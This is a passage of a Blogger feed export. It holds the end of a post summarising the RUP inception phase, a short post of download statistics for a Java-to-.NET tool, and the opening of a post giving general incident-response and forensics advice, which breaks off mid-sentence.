relevant&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;3.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Generate a “mile-wide, inch-deep” description&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Identify and briefly describe the actors&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;b.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Identify and briefly describe the use cases &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;c.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Identify and describe how will each actor will interact with the system&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;4.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Hold a workshop or brainstorming session&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Identify as many actors as you can&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;b.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Associate each actor with use cases and provide brief descriptions&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;c.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;For each use case determine if it requires interaction with other users or systems. This will help identify additional actors.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;d.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Continue going back and forth until you think you have identified enough to understand the scope of the system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;e.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Write a paragraph describing each actor and a couple of paragraphs for each use case. This can be done in a break where each person is given two hours to describe one actor and two or three use cases&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;f.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Create a glossary containing the “key” items the application deals with&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;g.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Review key items that the system is dealing with , and make sure that you have created use cases that detail how each key item is created, maintained and deleted. &lt;i style=""&gt;Do you have a use case policy that describes how to setup a policy? How to make changes to a policy? How to cancel a policy? This is a great way of discovering holes in your use- case model and spending some time in this activity will save you a lot of time on later stages.&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;h.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Identify the most critical and/or essential use cases (at most approx 20% of your use-cases)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;5.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Detail Key actors and Use cases&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Produced a couple pages for each use case (Design)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;b.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Develop User-Interface Prototypes&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;c.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Time-box&lt;span style=""&gt;  &lt;/span&gt;the activities to avoid getting bogged down&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;d.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Identify alternative flows of events&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;6.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Identify key system functionality&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;The functionality is the core of the application, or it exercises key interfaces of the system, and will hence have a major impact on the architecture&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;b.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;The functionality that &lt;b style=""&gt;&lt;i style=""&gt;must&lt;/i&gt;&lt;/b&gt; be delivered, the essence of the system&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;c.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;The functionality that covers an area of the system architecture that is not covered by any other critical use-case. To ensure that you address all major technical risks , you need to have a good enough understanding of each area of the system&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;7.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Determine at least one possible solution&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;What other similar systems have been built and what technology and architecture did they use? what did you use? What was your cost?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;b.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;In particular for an evolution of a system , is the current architecture still satisfactory or does it need to evolve?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;c.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;What technologies would you have to use within the system? Do you need to acquire any new technologies?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;d.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;What are the costs and risks associated with that&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;e.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;What software components are needed within the system (database middleware and so on)?Can they be purchased? Can they be reused from another in-house project? What are the associated risks? What are the estimated costs?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;8.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Understand the costs, schedule and risks associated with the project &lt;i style=""&gt;(The business case documents ,the economic value of the product)&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Understanding what to build is key, but determining how to build it and at what cost is also crucial. To determine whether you should continue with a project , you need to understand roughly&lt;span style=""&gt;  &lt;/span&gt;how much the project will cost. Most of the costs are related to what resources you will need and how long it will take to complete the project. Combine all of this knowledge with an understanding of the required functionality and its value to the users, and you can build a &lt;i style=""&gt;Business case &lt;/i&gt;for the project. The business case documents the economic value of the product, expressing it in quantitative terms such as, for example, return on investment(ROI). The business case is the instrument that you use to obtain adequate project funding . It also outlines the major unmitigated risks and therefore the level of uncertainty that remains within the project.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;b.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;If the budget has been set , then you determine what can be delivered within the budget and the schedule &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;9.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Decide what process to follow and what tools to use&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;10.&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Project Review: Lifecycle Objective Milestone&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;a.&lt;span style=""&gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;The following evaluation criteria are included:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 108pt; text-indent: -108pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;&lt;span style=""&gt;                                                              &lt;/span&gt;i.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Stakeholder occurrence on scope definition and an initial cost/schedule estimate(which will be refined in later phases)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 108pt; text-indent: -108pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;&lt;span style=""&gt;                                                            &lt;/span&gt;ii.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Agreement that the right set of requirements have been captured and that there is a shared understanding of these requirements&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 108pt; text-indent: -108pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;&lt;span style=""&gt;                                                          &lt;/span&gt;iii.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Agreement that the cost/schedule estimate priorities ,risks and development processes are appropriate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 108pt; text-indent: -108pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;&lt;span style=""&gt;                                                          &lt;/span&gt;iv.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Agreement that the initial risks have been identified and a mitigation strategy exists&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpLast" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;b.&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;The project maybe aborted or reconsidered if it fails to reach this milestone&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoListParagraphCxSpLast" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoListParagraphCxSpLast" style="margin-left: 72pt; text-indent: -18pt;"&gt;The Above text is a brief description of the inception phase from the book "The RUP Made Easy, A practitioner's guide to the RUP" from Kroll and Kruchten&lt;br /&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-291869171501176358?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/291869171501176358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=291869171501176358' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/291869171501176358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/291869171501176358'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/12/rational-unified-process-inception.html' title='Rational Unified Process'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-5049665238152804845</id><published>2007-09-13T12:56:00.000+02:00</published><updated>2008-12-13T00:59:49.210+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='googleearth dotnetfromjava'/><category scheme='http://www.blogger.com/atom/ns#' term='statistics report'/><category scheme='http://www.blogger.com/atom/ns#' term='googleearth'/><category scheme='http://www.blogger.com/atom/ns#' term='google earth'/><category scheme='http://www.blogger.com/atom/ns#' term='google earth  java'/><category scheme='http://www.blogger.com/atom/ns#' term='dotnetfromjava'/><title type='text'>dotnetfromjava (3.5 month period) statistics (01-06-2007 - 12-09-2007)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_YH1pKNoAhPg/RukYSMA7PAI/AAAAAAAAADo/gzB60qtJzpQ/s1600-h/visits.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://3.bp.blogspot.com/_YH1pKNoAhPg/RukYSMA7PAI/AAAAAAAAADo/gzB60qtJzpQ/s400/visits.jpg" alt="" id="BLOGGER_PHOTO_ID_5109641952970357762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Some statistics since the launch of the dotnetfromjava.&lt;br /&gt;&lt;br /&gt;approximatelly 1000 visits from 68 countries&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First in usage is the USA with approximatelly 1/3 in downloads ...&lt;br /&gt;&lt;br /&gt;The Other 2/3 are shared between the Europe (E.U.) and the rest of the world :)&lt;br /&gt;&lt;br /&gt;From E.U. the First top 5 countries are&lt;br /&gt;&lt;br /&gt;1. Germany&lt;br /&gt;2. Greece&lt;br /&gt;3. Spain&lt;br /&gt;4. UK&lt;br /&gt;5. France&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The main *&lt;span style="font-weight: bold;"&gt;known&lt;/span&gt;* usage for dotnetfromjava is for google earth development from java.&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-5049665238152804845?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='https://dotnetfromjava.dev.java.net/' title='dotnetfromjava (3.5 month period) statistics (01-06-2007 - 12-09-2007)'/><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/5049665238152804845/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=5049665238152804845' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/5049665238152804845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/5049665238152804845'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/09/dotnetfromjava-25-month-period.html' title='dotnetfromjava (3.5 month period) statistics (01-06-2007 - 12-09-2007)'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_YH1pKNoAhPg/RukYSMA7PAI/AAAAAAAAADo/gzB60qtJzpQ/s72-c/visits.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-7255014847517013231</id><published>2007-09-09T20:21:00.000+02:00</published><updated>2007-09-09T20:22:57.904+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensic forensics first responder incident preparation response security break-in hack'/><title type='text'>Incident Preparation &amp; Responce</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold;"&gt;Incident Preparation&lt;/span&gt;&lt;span style="font-style: italic;"&gt;(few words)&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;In order to complete the preparation for an incident , there should be a good knowledge of the following in advance:&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;/span&gt;&lt;b style="font-style: italic;"&gt;&lt;span style="" lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;&lt;span style="font-style: italic;"&gt;Good knowledge of the OS that we administrate&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Understanding of what we are protecting &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Confirmation of securing all possible "entrances" (deamons/services)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Confirmation of defence preparation in all levels&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Defence monitoring for early signs of an incident &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above should be supported by strct security policies as well as from strict firewall and Access Control Lists rules.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Incident Response&lt;/span&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;There is a part missing that analyses the tools that are needed for an incident(maybe in another blog).&lt;/p&gt;&lt;p class="MsoNormal"&gt;In incident response we document our every move, so that the precess can be repeated, so that we can prove what was the process followed and that the process followes the international standards, in order to answer to a question in a court of law , etc...&lt;/p&gt;&lt;p class="MsoNormal"&gt;The best way to collect and document evidences and at the same time avoiding any errors during the execution of a forensic analysis is via implementing the whole process as a methodology.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Researching the internet for such methodologies , I noticed that many sysadmins do not often have a specific procedure that follow in such cases.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Also , it has been identified that in a case of a successful break in, the administrator just reinstalls the operating system from a safe medium.&lt;/p&gt;&lt;p class="MsoNormal"&gt;This move however , is bound to faiilure ...&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;Since there was no Root Cause Analysis, that is the reason that someone penetrated the system in order to secure it, then it is certain that it will happen again.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Also I have to mention that in the case where no forensics are applied to the system which was hacked, there are no proofs of what happened, how, when, from where and whom. Ussually this leads to estimations of what has happened to fill in the gap.&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;When we are gathering evidences in an incident we must ASSUME NOTHING.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Decisions should be taken based on facts and strong clues and evidences.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Unfortunately when we talk about security there is not such software or golden rule that will keep a system unbreakable...&lt;/p&gt;&lt;p class="MsoNormal"&gt;EVery command and basically everything else that takes place in a system analysis shoudl be logged. Every command, with its exact parameters, should be logged for reasons of verification(if needed)&lt;/p&gt;&lt;p class="MsoNormal"&gt;In this way , there is a log created that allows in anyone to follow your steps with detail&lt;/p&gt;&lt;p class="MsoNormal"&gt;For example, instead of declaring :  "Audit settings check", it should be declared as ,how did the check was done, including all the commands tht were used, their parameters, or even which GUIs where used.&lt;/p&gt;Tools located on the suspect machine should NOT be trusted for obvious reasons. You should be use the equivalent programs from a secure read only medium.&lt;br /&gt;During the incident response , you have to be very careful not to write anything on the suspect machine hard drive, but this can be subject to each company/organisation policy. If the purpose of this policy is to keep the integrity of the system while at the same time minimising its offline time, then nothing should be written on the hard drive and you should seek other ways to maintain and transfer of (to be collected) data.&lt;br /&gt;&lt;br /&gt;Furthermore, it is important to know what appliciations, services are running on the system as well as what was its initialisation/configuration.&lt;br /&gt;In this way we might spot easier suspect applications and services .&lt;br /&gt;&lt;br /&gt;When we check/open any file on the 